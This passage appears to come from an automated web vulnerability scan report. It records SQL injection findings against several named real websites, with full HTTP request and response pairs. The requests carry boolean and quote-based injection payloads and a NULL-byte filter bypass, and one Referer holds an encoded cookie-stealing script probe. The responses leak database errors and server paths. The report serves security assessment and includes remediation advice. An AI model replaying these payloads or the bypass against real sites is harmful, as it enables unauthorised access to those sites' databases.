<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <!-- title --> <title> rei ...[SNIP]... <iframe width="300" height="250" frameborder="0" scrolling="no" src="http://ads.tweetmeme.com/serve.js?tag=home&width=300&height=250&rand=9850663010"> </iframe> </div><!-- advert: home_300x100 --> <div class="item"> <a href="http://ads.tweetmeme.com/redirect?width=300&height=100&tag=home&advertid=384&nurl=http://dadapp.com" target="_blank"> <img src="http://tweetmeme.s3.amazonaws.com/ads/DAD-logo-animated.gif" alt="" class="left" style="margin: 3px 10px 0px 0px;" /> </a> <a href="http://ads.tweetmeme.com/redirect?width=300&height=100&tag=home&advertid=384&nurl=http://dadapp.com" target="_blank">DAD•app</a> <em>n.</em> Simple, rule-based desktop app for media organising & private sharing for your home & family network.</div> <img src="http://ads.tweetmeme.com/impression.jpg?id=384&rand=29191093109" alt="*" width="1" height="1" /><div class="new item">
<a href="http://tweetmeme.com/story/3835696312/dutch-teens-photos-boys-at-other-schools-boys-at-my-school-plixi" title="dutch teen's photos - boys at other schools, boys at my school. | Plixi">
dutch teen's photos - boys at other schools, boys at my… </a> - <span class="green">291 Tweets</span> </div> </li> <li > <div class="number">2</div> <div class="title">
<a href="http://tweetmeme.com/story/3835339927/faithful-facebook-pope-benedict-blesses-social-networking-time-newsfeed" title="Faithful Facebook: Pope Benedict Blesses Social Networking - TIME NewsFeed">
Faithful Facebook: Pope Benedict Blesses Social Networking… </a> - <span class="green">629 Tweets</span> </div> </li> <li > <div class="number">3</div> <div class="title">
...[SNIP]...
Request 2
GET /user/reiserlaw HTTP/1.1 Host: tweetmeme.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmv=; __ctl=286f8b371579253c1; __utmz=229010307.1295907700.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __csnv=2d2e35941c7237e0; tm_identity=1e736a4ffb2b89d8eb9feef196afe056; __utma=229010307.737407932.1295907700.1295907700.1295907700.1; __utmc=229010307; __csref=; __cst=c361a3372a99df5c; __qca=P0-724637325-1295907700201'%20and%201%3d2--%20; __utmb=229010307.2.10.1295907700; __csv=286f8b371579253c; __qseg=Q_D|Q_T|Q_2891|Q_2867|Q_2866|Q_2865|Q_2363|Q_2362|Q_2355|Q_2353|Q_2352|Q_2349|Q_2339|Q_1286|Q_1160|Q_1159|Q_1156|Q_1149|Q_1148|Q_983;
Response 2
HTTP/1.1 200 OK Server: nginx/0.7.67 Date: Tue, 25 Jan 2011 13:59:55 GMT Content-Type: text/html Connection: close X-Ads-Served-In: 0.0019690990447998 X-Served-In: 1.5970060825348 X-Served-By: ded2059 Content-Length: 39563
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <!-- title --> <title> rei ...[SNIP]... <iframe width="300" height="250" frameborder="0" scrolling="no" src="http://ads.tweetmeme.com/serve.js?tag=home&width=300&height=250&rand=93230269637"> </iframe> </div><!-- advert: home_300x100 --> <div class="item"> <a href="http://ads.tweetmeme.com/redirect?width=300&height=100&tag=home&advertid=384&nurl=http://dadapp.com" target="_blank"> <img src="http://tweetmeme.s3.amazonaws.com/ads/DAD-logo-animated.gif" alt="" class="left" style="margin: 3px 10px 0px 0px;" /> </a> <a href="http://ads.tweetmeme.com/redirect?width=300&height=100&tag=home&advertid=384&nurl=http://dadapp.com" target="_blank">DAD•app</a> <em>n.</em> Simple, rule-based desktop app for media organising & private sharing for your home & family network.</div> <img src="http://ads.tweetmeme.com/impression.jpg?id=384&rand=45976943271" alt="*" width="1" height="1" /><div class="new item">
<a href="http://tweetmeme.com/story/3835696312/dutch-teens-photos-boys-at-other-schools-boys-at-my-school-plixi" title="dutch teen's photos - boys at other schools, boys at my school. | Plixi">
dutch teen's photos - boys at other schools, boys at my… </a> - <span class="green">291 Tweets</span> </div> </li> <li > <div class="number">2</div> <div class="title">
<a href="http://tweetmeme.com/story/3835339927/faithful-facebook-pope-benedict-blesses-social-networking-time-newsfeed" title="Faithful Facebook: Pope Benedict Blesses Social Networking - TIME NewsFeed">
Faithful Facebook: Pope Benedict Blesses Social Networking… </a> - <span class="green">629 Tweets</span> </div> </li> <li > <div class="number">3</div> <div class="title">
The ltrs parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the ltrs parameter, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be MySQL.
The application attempts to block SQL injection attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) before the characters that are being blocked.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses. NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.
Request 1
GET /getsugg.aspx?ltrs=%00' HTTP/1.1 Host: www.abbreviations.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=5591651.1295903333.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/32|utmcmd=referral; __utma=5591651.1564661048.1295903333.1295903333.1295903333.1; __utmc=5591651; __utmb=5591651; ASP.NET_SessionId=xydeiaqh04djp455gggyiyie;
Response 1
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/xml; charset=utf-8 Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Date: Mon, 24 Jan 2011 23:26:41 GMT Connection: close Content-Length: 222
<suggestions>You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '%' GROUP BY ACRONYM ORDER BY ACRONYM ASC LIMIT 15' at line 1</suggestions>
Request 2
GET /getsugg.aspx?ltrs=%00'' HTTP/1.1 Host: www.abbreviations.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=5591651.1295903333.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/32|utmcmd=referral; __utma=5591651.1564661048.1295903333.1295903333.1295903333.1; __utmc=5591651; __utmb=5591651; ASP.NET_SessionId=xydeiaqh04djp455gggyiyie;
Response 2
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/xml; charset=utf-8 Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Date: Mon, 24 Jan 2011 23:26:44 GMT Connection: close Content-Length: 27
The base_domain_98034c63917cb0c0c02f1b9429eaa593 cookie appears to be vulnerable to SQL injection attacks. A single quote was submitted in the base_domain_98034c63917cb0c0c02f1b9429eaa593 cookie, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The application attempts to block SQL injection attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) before the characters that are being blocked.
Remediation detail
NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.
Request 1
GET /Restaurants/Dining/314749128 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com%00';
Response 1
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 08:21:49 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 63544
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <h5>Chez Sophie, an exceptional restaurant that mixes contemporary French and Italian cuisine, along with a touch of Mediterranean inspiration.</h5> ...[SNIP]...
Request 2
GET /Restaurants/Dining/314749128 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com%00'';
Response 2
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 08:21:53 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 63297
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]...
The base_domain_98034c63917cb0c0c02f1b9429eaa593 cookie appears to be vulnerable to SQL injection attacks. A single quote was submitted in the base_domain_98034c63917cb0c0c02f1b9429eaa593 cookie, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
Request 1
GET /Shopping/Clothing-Accessories/194367784/Clothing/8 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com';
Response 1
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 09:45:50 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 62600
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <h5>Since its inception, Calvin Klein Underwear for Men and Women has led the market by offering consumers cutting-edge design, innovative fabrics, and exceptional fit and quality.</h5> ...[SNIP]...
Request 2
GET /Shopping/Clothing-Accessories/194367784/Clothing/8 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com'';
Response 2
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 09:46:06 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 62597
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]...
The REST URL parameter 3 appears to be vulnerable to SQL injection attacks. The payloads 18394333'%20or%201%3d1--%20 and 18394333'%20or%201%3d2--%20 were each submitted in the REST URL parameter 3. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.
Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.
Request 1
GET /Shopping/Clothing-Accessories/19436778418394333'%20or%201%3d1--%20/Leather-Goods/76 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response 1
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 11:18:03 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 55189
The REST URL parameter 4 appears to be vulnerable to SQL injection attacks. The payloads 13824690'%20or%201%3d1--%20 and 13824690'%20or%201%3d2--%20 were each submitted in the REST URL parameter 4. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.
Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.
Request 1
GET /images/loaders/big/purple-ajax-loader.gif13824690'%20or%201%3d1--%20 HTTP/1.1 Host: www.beirut.com Proxy-Connection: keep-alive Referer: http://www.beirut.com/css/blue/4429e%2527%253balert%2528document.cookie%2529%252f%252f59f8c7185c5/search-btn.gif Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=17jkapsd34tdtfv9m4mr30gs23
Response 1
HTTP/1.1 404 Not Found Date: Tue, 25 Jan 2011 02:27:42 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Content-Type: text/html; charset=UTF-8 Content-Length: 62551
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <link rel="stylesheet" href="/css/magenta-style.css" type="text/css" media="all" /> <script type="text/javascript"> var randstyle='magenta'; var indexpage='Index'; var initfacebox=''; var contactid=''; var showfacebox=''; </script>
var msg = '<fb:login-button v="2" onlogin="update_user_box()" length="long" background="light" size="medium"></fb:login-button> ...[SNIP]...
Request 2
GET /images/loaders/big/purple-ajax-loader.gif13824690'%20or%201%3d2--%20 HTTP/1.1 Host: www.beirut.com Proxy-Connection: keep-alive Referer: http://www.beirut.com/css/blue/4429e%2527%253balert%2528document.cookie%2529%252f%252f59f8c7185c5/search-btn.gif Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=17jkapsd34tdtfv9m4mr30gs23
Response 2
HTTP/1.1 404 Not Found Date: Tue, 25 Jan 2011 02:27:54 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Content-Type: text/html; charset=UTF-8 Content-Length: 62541
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <link rel="stylesheet" href="/css/green-style.css" type="text/css" media="all" /> <script type="text/javascript"> var randstyle='green'; var indexpage='Index'; var initfacebox=''; var contactid=''; var showfacebox=''; </script>
The REST URL parameter 3 appears to be vulnerable to SQL injection attacks. The payloads '%20and%201%3d1--%20 and '%20and%201%3d2--%20 were each submitted in the REST URL parameter 3. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.
Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.
Request 1
GET /main/do/Privacy_Policy'%20and%201%3d1--%20 HTTP/1.1 Host: www.dominionenterprises.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!-- main calendar program --> <script type="text/javascript" src="http://www.dominionenterprises.com/site/scripts/jscalendar-1.0/calendar.js"></script> <!-- language for the calendar --> <script type="text/javascript" src="http://www.dominionenterprises.com/site/scripts/jscalendar-1.0/lang/calendar-en.js"></script> <!-- the following script defines the Calendar.setup helper function, which makes adding a calendar a matter of 1 or 2 lines of code. --> <script type="text/javascript" src="http://www.dominionenterprises.com/site/scripts/jscalendar-1.0/calendar-setup.js"></script> <!-- SWFObject --> <script type="text/javascript" src="http://www.dominionenterprises.com/site/scripts/swfobject.js"></script> <!-- slider --> <script type="text/javascript" src="http://www.dominionenterprises.com/site/scripts/slider.js"></script> <!-- menu -->
...[SNIP]...
Request 2
GET /main/do/Privacy_Policy'%20and%201%3d2--%20 HTTP/1.1 Host: www.dominionenterprises.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<br /> <b>Notice</b>: Undefined index: parentID in <b>/usr/local/apache2/htdocs/www/site/dbo/PageTemplateField.php</b> on line <b>38</b><br /> <br /> <b>Notice</b>: Undefined property: templateName in <b>/usr/local/apache2/htdocs/www/site/classes/Page.class.php</b> on line <b>1069</b><br /> <br /> <b>Notice</b>: Undefined property: templateFileName in <b>/usr/local/apache2/htdocs/www/site/classes/Page.class.php</b> on line <b>1069</b><br /> <br /> <b>Notice</b>: Undefined property: templateCssHeader in <b>/usr/local/apache2/htdocs/www/site/classes/Page.class.php</b> on line <b>1285</b><br /> <br /> <b>Warning</b>: Smarty error: unable to read resource: "" in <b>/usr/local/apache2/htdocs/www/third_party/smarty/Smarty.class.php</b> on line <b>1083</b><br />
The i parameter appears to be vulnerable to SQL injection attacks. The payloads 13661187%20or%201%3d1--%20 and 13661187%20or%201%3d2--%20 were each submitted in the i parameter. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.
Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.
Request 1
GET /publication?i=5316213661187%20or%201%3d1--%20 HTTP/1.1 Host: www.flashedition.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 1 (redirected)
HTTP/1.1 200 OK Server: nginx/0.7.63 Date: Tue, 25 Jan 2011 13:14:37 GMT Content-Type: text/html; charset=utf-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/5.3.5 P3P: policyref="/w3c/p3p.xml",CP="CAO DSP COR CURa ADMa DEVa TAIa PSAo PSDo CONo TELo OUR DELo SAMo OTRo BUS IND PHY ONL UNI PUR COM NAV DEM STA" Set-Cookie: PHPSESSID=8ar88s2155addv5msvbctkoh35; expires=Tue, 25-Jan-2011 17:14:29 GMT; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: u_id=8ar88s2155addv5msvbctkoh35; expires=Wed, 25-Jan-2012 13:14:29 GMT Set-Cookie: ie_warn=1; expires=Wed, 25-Jan-2012 13:14:29 GMT Vary: Accept-Encoding Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Content-Length: 8481
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <STYLE type=text/css> #banner_btn { width: 10px; height: 100%; background-image:url(banner_btn.gif); vertical-align: middle; }
GET /publication?i=5316213661187%20or%201%3d2--%20 HTTP/1.1 Host: www.flashedition.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 2 (redirected)
HTTP/1.1 200 OK Server: nginx/0.7.63 Date: Tue, 25 Jan 2011 13:14:38 GMT Content-Type: text/html; charset=utf-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/5.3.5 Vary: Accept-Encoding Content-Length: 188 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 <html> <head> <title>Publication Not Available</title> </head> <body> <h1>Publication Not Available</h1> <p> The publication you requested is not available </p> </body> </html>
The m parameter appears to be vulnerable to SQL injection attacks. The payloads 16103717%20or%201%3d1--%20 and 16103717%20or%201%3d2--%20 were each submitted in the m parameter. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.
Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.
Request 1
GET /publication?m=1219116103717%20or%201%3d1--%20&l=1 HTTP/1.1 Host: www.flashedition.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 1 (redirected)
HTTP/1.1 200 OK Server: nginx/0.7.63 Date: Tue, 25 Jan 2011 13:14:37 GMT Content-Type: text/html; charset=utf-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/5.3.5 P3P: policyref="/w3c/p3p.xml",CP="CAO DSP COR CURa ADMa DEVa TAIa PSAo PSDo CONo TELo OUR DELo SAMo OTRo BUS IND PHY ONL UNI PUR COM NAV DEM STA" Set-Cookie: PHPSESSID=sf7kaiktruee342efur467s290; expires=Tue, 25-Jan-2011 17:14:29 GMT; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: u_id=sf7kaiktruee342efur467s290; expires=Wed, 25-Jan-2012 13:14:29 GMT Set-Cookie: ie_warn=1; expires=Wed, 25-Jan-2012 13:14:29 GMT Vary: Accept-Encoding Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Content-Length: 8486
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <STYLE type=text/css> #banner_btn { width: 10px; height: 100%; background-image:url(banner_btn.gif); vertical-align: middle; }
GET /publication?m=1219116103717%20or%201%3d2--%20&l=1 HTTP/1.1 Host: www.flashedition.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 2 (redirected)
HTTP/1.1 200 OK Server: nginx/0.7.63 Date: Tue, 25 Jan 2011 13:14:38 GMT Content-Type: text/html; charset=utf-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/5.3.5 Vary: Accept-Encoding Content-Length: 188 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 <html> <head> <title>Publication Not Available</title> </head> <body> <h1>Publication Not Available</h1> <p> The publication you requested is not available </p> </body> </html>
The User-Agent HTTP header appears to be vulnerable to SQL injection attacks. A single quote was submitted in the User-Agent HTTP header, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
Request 1
GET / HTTP/1.1 Host: www.forrent.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)' Connection: close
GET / HTTP/1.1 Host: www.forrent.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)'' Connection: close
The Referer HTTP header appears to be vulnerable to SQL injection attacks. A single quote was submitted in the Referer HTTP header, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be MySQL.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses.
Request 1
GET / HTTP/1.1 Host: www.kiteship.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: http://www.google.com/search?hl=en&q='
Response 1
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:43:03 GMT Server: Apache/1.3.42 (Unix) mod_auth_passthrough/1.8 mod_log_bytes/1.2 mod_bwlimited/1.4 FrontPage/5.0.2.2635 mod_ssl/2.8.31 OpenSSL/0.9.8e-fips-rhel5 Connection: close Content-Type: text/html Content-Length: 14060
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><title>KiteShip - Innovatio ...[SNIP]... <font color="red">You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '2011-01-24'' at line 1</font> ...[SNIP]...
Request 2
GET / HTTP/1.1 Host: www.kiteship.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: http://www.google.com/search?hl=en&q=''
Response 2
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:43:04 GMT Server: Apache/1.3.42 (Unix) mod_auth_passthrough/1.8 mod_log_bytes/1.2 mod_bwlimited/1.4 FrontPage/5.0.2.2635 mod_ssl/2.8.31 OpenSSL/0.9.8e-fips-rhel5 Connection: close Content-Type: text/html Content-Length: 13478
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><title>KiteShip - Innovatio ...[SNIP]...
1.59. http://www.kiteship.com/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.kiteship.com
Path:
/
Issue detail
The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the name of an arbitrarily supplied request parameter, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be MySQL.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses.
Request 1
GET /?1'=1 HTTP/1.1 Host: www.kiteship.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 1
